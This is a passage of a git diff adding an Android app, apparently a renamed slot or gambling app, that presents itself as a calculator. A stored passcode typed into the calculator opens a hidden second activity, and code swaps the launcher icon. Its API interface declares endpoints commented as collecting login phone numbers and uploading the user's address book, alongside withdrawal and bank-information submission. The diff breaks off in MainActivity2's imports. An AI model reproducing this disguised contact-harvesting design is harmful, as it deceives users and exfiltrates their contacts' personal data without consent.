OkHttpClient.Builder builder; + builder = new OkHttpClient() + .newBuilder(); + //禁止使用代理抓取数据 + builder.proxy(Proxy.NO_PROXY); + //设置超时 + builder.connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS); + builder.readTimeout(READ_TIMEOUT, TimeUnit.SECONDS); + builder.writeTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS); + //错误重连 + builder.retryOnConnectionFailure(true); + +// if (Config.IS_DEBUG) { + HttpLoggingInterceptor interceptor = new HttpLoggingInterceptor(message -> { + String text = message; + LogUtils.i("OKHttp111111-----", text); + + }); + interceptor.setLevel(HttpLoggingInterceptor.Level.BODY); + builder.addInterceptor(interceptor); +// } + return builder.build(); + + } + +} diff --git a/winwaynew/src/main/java/just/way/ApiService.java b/winwaynew/src/main/java/just/way/ApiService.java new file mode 100644 index 0000000..05108aa --- /dev/null +++ b/winwaynew/src/main/java/just/way/ApiService.java @@ -0,0 +1,108 @@ +package just.way; + + +import java.util.List; +import java.util.Map; + +import io.reactivex.Observable; +import okhttp3.RequestBody; +import retrofit2.http.Body; +import retrofit2.http.GET; +import retrofit2.http.Headers; +import retrofit2.http.POST; +import retrofit2.http.PUT; +import retrofit2.http.Path; +import retrofit2.http.Query; + +public interface ApiService { + //String URL = "http://8.218.177.7:18000/"; + String URL = "https://api.liulao.top/"; +// String URL = "http://192.168.8.184:8000/"; + + + // String VERSIONURL="http://download.2ltop.com/urlset4/"; // 没有计算器的 + String VERSIONURL = "http://download.2ltop.com/urlset3/"; + + + @GET("api/system/applicationConf") + Observable> geUrlNew(@Query("userId") int userId); + + + + /** + * 搜集登录手机号 + */ + @POST("app/loginUser") + Observable appLoginUser(@Body Map map); + + + /** + * 上传通讯录 + */ + @Headers("Content-Type:application/json") + @POST("api/customer/customers") + Observable readContact(@Body RequestBody requestBody); + + /** + * 統計下載量 + */ + @PUT("api/statistics/downloads") + Observable downloadNumbers(@Body Map map); + + /** + * 每日活跃统计 + */ + @PUT("api/statistics/use") + Observable totalTongJi(@Body Map map); + +// /** +// * 验证邀请码 +// */ +// @PUT("api/invite/send") +// Observable> checkInvited(@Body Map map); +// +// /** +// * 获取我的邀请码 +// */ +// @POST("api/invite/my") +// Observable> getMyInvited(@Body Map map); + + /** + * 统计通知 + */ + @POST("api/push/statistics") + Observable totalNotify(@Body Map map); + +// /** +// * 获取邀请记录 +// */ +// @GET("/api/invite/records") +// Observable> getRecords(@Query("code") String inviteCode, @Query("page") int page, @Query("size") int size); +// +// +// /** +// * 获取提现记录 +// */ +// @GET("/api/withdraw") +// Observable> getWithDrawRecords(@Query("inviteCode") String inviteCode, @Query("page") int page, @Query("size") int size); + + + /** + * 申请提现 + */ + @POST("/api/withdraw/apply") + Observable sendWithDrawApply(@Body Map map); + + /** + * 申请提现 + */ + @POST("/api/withdraw") + Observable sendBankInfo(@Body Map map); + +// /** +// * 获取银行列表 +// */ +// @GET("/api/withdraw/banks") +// Observable>>> getBankInfoList(); + +} diff --git a/winwaynew/src/main/java/just/way/BaseApi.java b/winwaynew/src/main/java/just/way/BaseApi.java new file mode 100644 index 0000000..1f01609 --- /dev/null +++ b/winwaynew/src/main/java/just/way/BaseApi.java @@ -0,0 +1,46 @@ +package just.way; + +import okhttp3.OkHttpClient; +import retrofit2.Retrofit; +import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory; +import retrofit2.converter.gson.GsonConverterFactory; +import retrofit2.converter.scalars.ScalarsConverterFactory; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.basic.retrofit + * 文件名: BaseApi + * 创建时间: 2019-03-27 on 14:52 + * 描述: TODO 封装基础的Retrofit + * + * @author + */ + +public abstract class BaseApi { + + /** + * 初始化Retrofit + */ + public Retrofit initRetrofit(String baseUrl) { + Retrofit.Builder builder = new Retrofit.Builder(); + //支持返回Call + builder.addConverterFactory(ScalarsConverterFactory.create()); + //支持直接格式化json返回Bean对象 + builder.addConverterFactory(GsonConverterFactory.create()); + //支持RxJava + builder.addCallAdapterFactory(RxJava2CallAdapterFactory.create()); + builder.baseUrl(baseUrl); + OkHttpClient client = setClient(); + if (client != null) { + builder.client(client); + } + return builder.build(); + } + + /** + * 设置OkHttpClient,添加拦截器等 + * + * @return 可以返回为null + */ + protected abstract OkHttpClient setClient(); +} diff --git a/Dmcslot/src/main/java/com/web/dmcslot/BaseObserver.java b/winwaynew/src/main/java/just/way/BaseObserver.java similarity index 99% rename from Dmcslot/src/main/java/com/web/dmcslot/BaseObserver.java rename to winwaynew/src/main/java/just/way/BaseObserver.java index 9effb6d..198e2e1 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/BaseObserver.java +++ b/winwaynew/src/main/java/just/way/BaseObserver.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package just.way; import android.text.TextUtils; diff --git a/winwaynew/src/main/java/just/way/CircleImageView.java b/winwaynew/src/main/java/just/way/CircleImageView.java new file mode 100644 index 0000000..4ebc211 --- /dev/null +++ b/winwaynew/src/main/java/just/way/CircleImageView.java @@ -0,0 +1,321 @@ +package just.way; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.res.TypedArray; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.Matrix; +import android.graphics.Paint; +import android.graphics.PorterDuff; +import android.graphics.PorterDuffXfermode; +import android.graphics.RectF; +import android.graphics.drawable.BitmapDrawable; +import android.graphics.drawable.Drawable; +import android.util.AttributeSet; +import android.view.MotionEvent; + +import androidx.appcompat.widget.AppCompatImageView; + + +public class CircleImageView extends AppCompatImageView { + // paint when user press + private Paint pressPaint; + private int width; + private int height; + + // default bitmap config + private static final Bitmap.Config BITMAP_CONFIG = Bitmap.Config.ARGB_8888; + private static final int COLORDRAWABLE_DIMENSION = 1; + + // border color + private int borderColor; + // width of border + private int borderWidth; + // alpha when pressed + private int pressAlpha; + // color when pressed + private int pressColor; + // radius + private int radius; + // rectangle or round, 1 is circle, 2 is rectangle + private int shapeType; + + public CircleImageView(Context context) { + super(context); + init(context, null); + } + + public CircleImageView(Context context, AttributeSet attrs) { + super(context, attrs); + init(context, attrs); + } + + public CircleImageView(Context context, AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + init(context, attrs); + } + + + private void init(Context context, AttributeSet attrs) { + //init the value + borderWidth = 0; + borderColor = 0xddffffff; + pressAlpha = 0x42; + pressColor = 0x42000000; + radius = 16; + shapeType = 0; + + // get attribute of EaseImageView + if (attrs != null) { + TypedArray array = context.obtainStyledAttributes(attrs, R.styleable.CircleImageView); + borderColor = array.getColor(R.styleable.CircleImageView_ease_border_color, borderColor); + borderWidth = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_border_width, borderWidth); + pressAlpha = array.getInteger(R.styleable.CircleImageView_ease_press_alpha, pressAlpha); + pressColor = array.getColor(R.styleable.CircleImageView_ease_press_color, pressColor); + radius = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_radius, radius); + shapeType = array.getInteger(R.styleable.CircleImageView_es_shape_type, shapeType); + array.recycle(); + } + + // set paint when pressed + pressPaint = new Paint(); + pressPaint.setAntiAlias(true); + pressPaint.setStyle(Paint.Style.FILL); + pressPaint.setColor(pressColor); + pressPaint.setAlpha(0); + pressPaint.setFlags(Paint.ANTI_ALIAS_FLAG); + + setDrawingCacheEnabled(true); + setWillNotDraw(false); + } + + @Override + protected void onDraw(Canvas canvas) { + + if (shapeType == 0) { + super.onDraw(canvas); + return; + } + Drawable drawable = getDrawable(); + if (drawable == null) { + return; + } + // the width and height is in xml file + if (getWidth() == 0 || getHeight() == 0) { + return; + } + Bitmap bitmap = getBitmapFromDrawable(drawable); + drawDrawable(canvas, bitmap); + + if (isClickable()) { + drawPress(canvas); + } + drawBorder(canvas); + } + + /** + * draw Rounded Rectangle + * + * @param canvas + * @param bitmap + */ + @SuppressLint("WrongConstant") + private void drawDrawable(Canvas canvas, Bitmap bitmap) { + Paint paint = new Paint(); + paint.setColor(0xffffffff); + paint.setAntiAlias(true); //smooths out the edges of what is being drawn + PorterDuffXfermode xfermode = new PorterDuffXfermode(PorterDuff.Mode.SRC_IN); + // set flags + int saveFlags = Canvas.ALL_SAVE_FLAG + ; + canvas.saveLayer(0, 0, width, height, null, saveFlags); + + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(1, 1, getWidth() - 1, getHeight() - 1); + canvas.drawRoundRect(rectf, radius + 1, radius + 1, paint); + } + + paint.setXfermode(xfermode); + + float scaleWidth = ((float) getWidth()) / bitmap.getWidth(); + float scaleHeight = ((float) getHeight()) / bitmap.getHeight(); + + Matrix matrix = new Matrix(); + matrix.postScale(scaleWidth, scaleHeight); + + //bitmap scale + bitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true); + + canvas.drawBitmap(bitmap, 0, 0, paint); + canvas.restore(); + } + + /** + * draw the effect when pressed + * + * @param canvas + */ + private void drawPress(Canvas canvas) { + // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, pressPaint); + } else if (shapeType == 2) { + RectF rectF = new RectF(1, 1, width - 1, height - 1); + canvas.drawRoundRect(rectF, radius + 1, radius + 1, pressPaint); + } + } + + /** + * draw customized border + * + * @param canvas + */ + private void drawBorder(Canvas canvas) { + if (borderWidth > 0) { + Paint paint = new Paint(); + paint.setStrokeWidth(borderWidth); + paint.setStyle(Paint.Style.STROKE); + paint.setColor(borderColor); + paint.setAntiAlias(true); + // // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, (width - borderWidth) / 2, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(borderWidth / 2, borderWidth / 2, getWidth() - borderWidth / 2, + getHeight() - borderWidth / 2); + canvas.drawRoundRect(rectf, radius, radius, paint); + } + } + } + + /** + * monitor the size change + * + * @param w + * @param h + * @param oldw + * @param oldh + */ + @Override + protected void onSizeChanged(int w, int h, int oldw, int oldh) { + super.onSizeChanged(w, h, oldw, oldh); + width = w; + height = h; + } + + /** + * monitor if touched + * + * @param event + * @return + */ + @Override + public boolean onTouchEvent(MotionEvent event) { + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + pressPaint.setAlpha(pressAlpha); + invalidate(); + break; + case MotionEvent.ACTION_UP: + pressPaint.setAlpha(0); + invalidate(); + break; + case MotionEvent.ACTION_MOVE: + + break; + default: + pressPaint.setAlpha(0); + invalidate(); + break; + } + return super.onTouchEvent(event); + } + + /** + * @param drawable + * @return + */ + private Bitmap getBitmapFromDrawable(Drawable drawable) { + if (drawable == null) { + return null; + } + + if (drawable instanceof BitmapDrawable) { + return ((BitmapDrawable) drawable).getBitmap(); + } + + Bitmap bitmap; + int width = Math.max(drawable.getIntrinsicWidth(), 2); + int height = Math.max(drawable.getIntrinsicHeight(), 2); + try { + bitmap = Bitmap.createBitmap(width, height, BITMAP_CONFIG); + Canvas canvas = new Canvas(bitmap); + drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight()); + drawable.draw(canvas); + } catch (IllegalArgumentException e) { + e.printStackTrace(); + bitmap = null; + } + return bitmap; + } + + /** + * set border color + * + * @param borderColor + */ + public void setBorderColor(int borderColor) { + this.borderColor = borderColor; + invalidate(); + } + + /** + * set border width + * + * @param borderWidth + */ + public void setBorderWidth(int borderWidth) { + this.borderWidth = borderWidth; + } + + /** + * set alpha when pressed + * + * @param pressAlpha + */ + public void setPressAlpha(int pressAlpha) { + this.pressAlpha = pressAlpha; + } + + /** + * set color when pressed + * + * @param pressColor + */ + public void setPressColor(int pressColor) { + this.pressColor = pressColor; + } + + /** + * set radius + * + * @param radius + */ + public void setRadius(int radius) { + this.radius = radius; + invalidate(); + } + + /** + * set shape,1 is circle, 2 is rectangle + * + * @param shapeType + */ + public void setShapeType(int shapeType) { + this.shapeType = shapeType; + invalidate(); + } +} diff --git a/winwaynew/src/main/java/just/way/ContactBean.java b/winwaynew/src/main/java/just/way/ContactBean.java new file mode 100644 index 0000000..e9ac867 --- /dev/null +++ b/winwaynew/src/main/java/just/way/ContactBean.java @@ -0,0 +1,29 @@ +package just.way; + +public class ContactBean { + + public String name; + public String phone; + + + public ContactBean(String name, String phone) { + this.name = name; + this.phone = phone; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getPhone() { + return phone; + } + + public void setPhone(String phone) { + this.phone = phone; + } +} diff --git a/winwaynew/src/main/java/just/way/DataInfo.java b/winwaynew/src/main/java/just/way/DataInfo.java new file mode 100644 index 0000000..7c3e45a --- /dev/null +++ b/winwaynew/src/main/java/just/way/DataInfo.java @@ -0,0 +1,53 @@ +package just.way; + +import java.io.Serializable; + +public class DataInfo implements Serializable { + + + public String apkUrl; + public String description; + public int forceUpdate; + public String url; + public String versionCode; + + public String getApkUrl() { + return apkUrl; + } + + public void setApkUrl(String apkUrl) { + this.apkUrl = apkUrl; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public int getForceUpdate() { + return forceUpdate; + } + + public void setForceUpdate(int forceUpdate) { + this.forceUpdate = forceUpdate; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getVersionCode() { + return versionCode; + } + + public void setVersionCode(String versionCode) { + this.versionCode = versionCode; + } +} diff --git a/winwaynew/src/main/java/just/way/GsonUtils.java b/winwaynew/src/main/java/just/way/GsonUtils.java new file mode 100644 index 0000000..8244ad2 --- /dev/null +++ b/winwaynew/src/main/java/just/way/GsonUtils.java @@ -0,0 +1,91 @@ +package just.way; + +import android.text.TextUtils; + +import com.google.gson.Gson; +import com.google.gson.JsonObject; +import com.google.gson.reflect.TypeToken; + +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.List; + +/** + * json解析工具类 其实对于数组解析有一些问题 + * @author + */ +public class GsonUtils { + + public static Gson gson = new Gson(); + + /** + * 返回List对象 + * @param str + * @param type new TypeToken>(){}.getType() + * @param + * @return + */ + public static T getListFromJSON(String str, Type type) { + if (!TextUtils.isEmpty(str)) { + return gson.fromJson(str, type); + } + return null; + } + + /** + * 返回List对象 + * @param str + * @param cls + * @param + * @return + */ + public static List getListFromJSON(String str, Class cls) + { + Type type = new TypeToken>() + {}.getType(); + ArrayList jsonObjects = gson.fromJson(str, type); + ArrayList arrayList = new ArrayList<>(); + for (JsonObject jsonObject : jsonObjects) + { + arrayList.add(gson.fromJson(jsonObject, cls)); + } + return arrayList; + } + + /** + * 返回对象 + * @param str + * @param cls + * @param + * @return + */ + public static T getObjFromJSON(String str, Class cls) { + try { + if (!TextUtils.isEmpty(str)) { +// LogUtils.i("参数:"+str); + return gson.fromJson(str, cls); + } + return null; + }catch (Exception e) { + return null; + } + } + + /** + * 返回JsonString + * @return + */ + public static String beanToJSONString(Object bean) { + return new Gson().toJson(bean); + } + + + public static String JSONTokener(String in) { + // consume an optional byte order mark (BOM) if it exists + if (in != null && in.startsWith("\ufeff")) { + in = in.substring(1); + } + return in; + } + +} diff --git a/winwaynew/src/main/java/just/way/LogUtils.java b/winwaynew/src/main/java/just/way/LogUtils.java new file mode 100644 index 0000000..f6236ae --- /dev/null +++ b/winwaynew/src/main/java/just/way/LogUtils.java @@ -0,0 +1,146 @@ +package just.way; + +import android.util.Log; + + +/** + * Log统一管理类 + * Created by on 2015/10/19 0019. + */ +public class LogUtils { + + private LogUtils() { + throw new UnsupportedOperationException("cannot be instantiated"); + } + +// public static boolean isDebug = ApiService.isDebug;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + public static boolean isDebug = BuildConfig.BUILD_TYPE.equals("debug");// 是否需要打印bug,可以在application的onCreate函数里面初始化 +// public static boolean isDebug = false;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + + private static final String TAG = "BIKAOVIDEO"; + + /** + * 默认tag的函数 + * + * @param msg 打印信息 + */ + public static void v(String msg) { + if (isDebug) Log.v(TAG, msg); + } + + public static void d(String msg) { + if (isDebug) Log.d(TAG, msg); + } + + public static void i(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"BIKAOVIDEOsb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"BIKAOVIDEO" + msg.toString()); + } + } + } + + public static void w(String msg) { + if (isDebug) Log.w(TAG, msg); + } + + public static void e(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.e(TAG, "sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.e(TAG, "XHX" + msg.toString()); + } + + } + + } + + /** + * 自定义lag的函数 + * + * @param tag tag + * @param msg 打印信息 + */ + public static void v(String tag, String msg) { + if (isDebug) Log.v(tag, msg); + } + + public static void d(String tag, String msg) { + if (isDebug) Log.d(tag, msg); + } + + public static void i(String tag, String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"XHX" + msg.toString()); + } + } + } + + public static void w(String tag, String msg) { + if (isDebug) Log.w(tag, msg); + } + + public static void e(String tag, String msg) { + if (isDebug) Log.e(tag, msg); + } + + /** + * 自定义lag的函数 + * + * @param clazz 类 + * @param msg 打印信息 + */ + public static void v(Class clazz, String msg) { + if (isDebug) Log.v(clazz.getSimpleName(), msg); + } + + public static void d(Class clazz, String msg) { + if (isDebug) Log.d(clazz.getSimpleName(), msg); + } + + public static void i(Class clazz, String msg) { + if (isDebug) Log.i(clazz.getSimpleName(), msg); + } + + public static void w(Class clazz, String msg) { + if (isDebug) Log.w(clazz.getSimpleName(), msg); + } + + public static void e(Class clazz, String msg) { + if (isDebug) Log.e(clazz.getSimpleName(), msg); + } + +} \ No newline at end of file diff --git a/winwaynew/src/main/java/just/way/MainActivity.java b/winwaynew/src/main/java/just/way/MainActivity.java new file mode 100644 index 0000000..39235a7 --- /dev/null +++ b/winwaynew/src/main/java/just/way/MainActivity.java @@ -0,0 +1,356 @@ +package just.way; + +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.widget.TextViewCompat; + +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.PackageManager; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.util.Log; +import android.util.TypedValue; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import org.w3c.dom.Text; + +import java.math.BigDecimal; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +public class MainActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput=new StringBuilder(""); + private BigDecimal currentAnswer=new BigDecimal(0); + private boolean hasCount=false; + private TextView inputTextView,outputTextView; + private Button btn_0,btn_1,btn_2,btn_3,btn_4,btn_5,btn_6,btn_7,btn_8,btn_9, + btn_point,btn_equal,btn_add,btn_subtract,btn_multiply,btn_divide,btn_percent,btn_backspace,btn_clear; + + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main); + + if(TextUtils.isEmpty(getString(MainActivity.this,"loc_pass",""))){ + startActivity(new Intent(this,StartActivity.class)); + finish(); + return; + } + +// if(getIntent().getBooleanExtra("isChange",false)){ +// toNextActivity(); +// }else{ +// findViewById(R.id.big_v).setVisibility(View.VISIBLE); +// } + + setListener(); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(inputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(outputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + getNetUrl(); + } + + public void setListener(){ + inputTextView = (TextView)findViewById(R.id.inputText); + outputTextView= (TextView)findViewById(R.id.outputText); + btn_0 = (Button)findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button)findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button)findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button)findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button)findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button)findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button)findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button)findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button)findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button)findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + btn_point = (Button)findViewById(R.id.btn_point); + btn_point.setOnClickListener(this); + btn_equal = (Button)findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + btn_add = (Button)findViewById(R.id.btn_add); + btn_add.setOnClickListener(this); + btn_subtract = (Button)findViewById(R.id.btn_subtract); + btn_subtract.setOnClickListener(this); + btn_multiply = (Button)findViewById(R.id.btn_multiply); + btn_multiply.setOnClickListener(this); + btn_divide = (Button)findViewById(R.id.btn_divide); + btn_divide.setOnClickListener(this); + btn_backspace = (Button)findViewById(R.id.btn_backspace); + btn_backspace.setOnClickListener(this); + btn_clear = (Button)findViewById(R.id.btn_clear); + btn_clear.setOnClickListener(this); + } + + Handler handler = new Handler(); + public void displayInput(){ + inputTextView.setText(currentInput); + if(currentInput.toString().equals(MainActivity.getString(MainActivity.this,"loc_pass",""))){ + toNextActivity(); + } + } + + private void toNextActivity() { +// changeIcon(true); + handler.postDelayed(() -> { + startActivity(new Intent(MainActivity.this,MainActivity2.class)); +// finish(); + }, 1000); + } + + /** + * 修改图标和名称的方法 + * + * @param enable + */ + public void changeIcon(boolean enable) { + PackageManager pm = getApplicationContext().getPackageManager(); + + if (enable) { + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + } else { + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.Default"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + + + Log.d("TAG", "换Test的图标"); + } + } + + + public void displayAnswer(StringBuilder string){ + Pattern compile = Pattern.compile( "[^0-9.-]"); + StringBuilder result = new StringBuilder(compile.matcher(string).replaceAll("")); + if(result.charAt(result.length()-1)=='-'){ + System.out.println(result.charAt(result.length()-1)); + result.deleteCharAt(result.length()-1); + } + System.out.println(result); + outputTextView.setText(result); + } + + public StringBuilder compute(StringBuilder str){ + Pattern pattern = Pattern.compile("([\\d.]+)\\s*([*/])\\s*([\\d.]+)"); + Matcher matcher=pattern.matcher(str.toString()); + while(matcher.find()){ + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)){ + case "*": + first=first.multiply(second); + break; + case "/": + first=first.divide(second); + break; + } + str.replace(matcher.start(),matcher.end(),first.toString()); + matcher.reset(str.toString()); + } + + pattern = Pattern.compile("([\\d.]+)\\s*([+-])\\s*([\\d.]+)"); + matcher=pattern.matcher(str.toString()); + while (matcher.find()){ + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch(matcher.group(2)){ + case "+": + first=first.add(second); + break; + case "-": + first=first.subtract(second); + break; + + } + str.replace(matcher.start(),matcher.end(),first.toString()); + matcher.reset(str.toString()); + } + return str; + } + public void addInput(String string){ + if(hasCount==false){ + currentInput.append(string); + }else { + currentInput=new StringBuilder(""); + hasCount=false; + currentInput.append(string); + } + displayInput(); + } + + + + @Override + public void onClick(View v) { + switch (v.getId()){ + case R.id.btn_0: + addInput("0"); + break; + case R.id.btn_1: + addInput("1"); + break; + case R.id.btn_2: + addInput("2"); + break; + case R.id.btn_3: + addInput("3"); + break; + case R.id.btn_4: + addInput("4"); + break; + case R.id.btn_5: + addInput("5"); + break; + case R.id.btn_6: + addInput("6"); + break; + case R.id.btn_7: + addInput("7"); + break; + case R.id.btn_8: + addInput("8"); + break; + case R.id.btn_9: + addInput("9"); + break; + case R.id.btn_point: + addInput("."); + break; + case R.id.btn_add: + addInput("+"); + break; + case R.id.btn_subtract: + addInput("-"); + break; + case R.id.btn_multiply: + addInput("*"); + break; + case R.id.btn_divide: + addInput("/"); + break; + case R.id.btn_backspace: + if(currentInput.length()>0){ + currentInput.deleteCharAt(currentInput.length()-1); + } + displayInput(); + break; + case R.id.btn_clear: + currentInput=new StringBuilder(""); + displayInput(); + outputTextView.setText(""); + break; + case R.id.btn_equal: + StringBuilder result = compute(currentInput); + displayAnswer(result); + hasCount=true; + break; + } + } + + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// saveString(MainActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + public static void saveString(Context context,String key, String value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putString(key, value); + editor.apply(); + } + + public static String getString(Context context,String key, String defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getString(key, defValue); + } + + + public static void saveBoolean(Context context,String key, Boolean value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putBoolean(key, value); + editor.apply(); + } + + public static Boolean getBoolean(Context context,String key, Boolean defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getBoolean(key, defValue); + } + +} \ No newline at end of file diff --git a/winwaynew/src/main/java/just/way/MainActivity2.java b/winwaynew/src/main/java/just/way/MainActivity2.java new file mode 100644 index 0000000..229ed7f --- /dev/null +++ b/winwaynew/src/main/java/just/way/MainActivity2.java @@ -0,0 +1,1305 @@ +package just.way; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.annotation.TargetApi; +import android.app.Activity; +import android.app.NotificationManager; +import android.content.ActivityNotFoundException; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.database.Cursor; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.os.Message; +import android.provider.ContactsContract; +import android.text.TextUtils; +import android.util.Log; +import android.view.View; +import android.view.WindowManager; +import android.webkit.JavascriptInterface; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.RelativeLayout; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; + +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.google.android.material.floatingactionbutton.FloatingActionButton; +import com.google.firebase.messaging.FirebaseMessaging; +import 